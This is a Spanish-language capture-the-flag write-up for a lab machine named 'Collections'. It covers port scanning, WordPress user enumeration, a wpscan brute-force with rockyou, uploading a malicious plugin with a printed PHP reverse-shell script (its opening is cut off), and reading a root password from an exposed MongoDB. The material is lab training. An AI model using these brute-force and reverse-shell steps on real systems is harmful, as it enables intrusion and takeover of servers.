> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/collections-write-up.md).
# Collections write-up
## **Verificamos la conexión con la máquina víctima**
## **Escaneo de puertos abiertos y explotación de vulnerabilidades**
Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 22 (SSH), el 80 (HTTP) y el 27017 (mongodb) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.
Contemplamos una página de Apache por defecto. Así que vamos a enumerar las rutas ocultas con la herramienta llamada **Dirb** con el siguiente comando:
```bash
dirb http://172.17.0.2/
```
Esto nos indica que podríamos estar delante de un **WorkPress**. Para verificarlo ingresamos `http://172.17.0.2/wordpress/wp-admin/admin.php`.
Observamos que al poner la ruta nos aparece un mensaje de error y en la URL nos cambia la IP de la máquina víctima por `collections.dl`. Así que vamos a modificar el fichero `/etc/hosts` introduciendo lo siguiente:
De está manera el dominio `collections.dl` apuntará a la IP 172.17.0.2, y por tanto, al ingresar la ruta `http://172.17.0.2/wordpress/wp-admin/admin.php` nos aparecerá el login de WorkPress:
Así que ahora que sabemos que se trata de un **WorkPress** vamos a usar la herramienta llamada `wpscan` para enumerar usuarios y plugins con el siguiente comando:
```bash
wpscan --url http://collections.dl/wordpress/ -e u,p
```
**Wpscan** nos enumera el usuario `chocolate`, así que ahora realizaremos un ataque de fuerza bruta con el siguiente comando:
```bash
wpscan --url http://collections.dl/wordpress/ -U chocolate -P ../rockyou.txt
```
El ataque de fuerza bruta nos indica que la contraseña del usuario `chocolate` es `chocolate`. Así que usamos esas credenciales para iniciar sesión.
Una vez dentro de **WorkPress** vamos a descargar un plugin malicioso para obtener una shell inversa. Para ello convertiremos en formato ZIP en siguiente script en PHP:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Para pasar el script a formato ZIP, solo tenemos que ejecutar el siguiente comando:
```bash
zip -r shell.zip shell.php
```
Una vez tengamos el plugin malicioso, lo descargaremos en el **WorkPress** yendo al apartado de **Plugins**, después haciendo clic en **Añadir nuevo plugin**, a continuación hacemos clic en subir plugin, seleccionamos el plugin que hemos creado, lo instalamos y lo activamos.
Una vez instalado y activado el plugin malicioso, nos ponemos en escucha por el puerto que hayamos configurado previamente en el script y después introducimos la ruta `http://collections.dl/wordpress/wp-content/plugins/shell/shell.php` en el navegador para ejecutar el script, enviándonos así una shell interactiva.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, ejecutamos el comando `ps aux | cat`, esto nos indica que se está arrancando el servicio `MongoDB` con el parámetro `--bind_ip_all`, por lo que podemos acceder desde cualquier IP.
Así que ahora en nuestra máquina ejecutamos el comando `mongo 172.17.0.2`, después, en la shell de MongoDB, ejecutamos los comando `show databases`, `use accesos` y `db.usuarios.find().pretty();` para ver el contenido de la tabla `usuarios` de la base de datos llamada `accesos`. La cual contiene lo siguiente:
Así que vamos a utilizar la contraseña `chocolaterequetebueno123` para iniciar sesión en la máquina víctima como usuario root.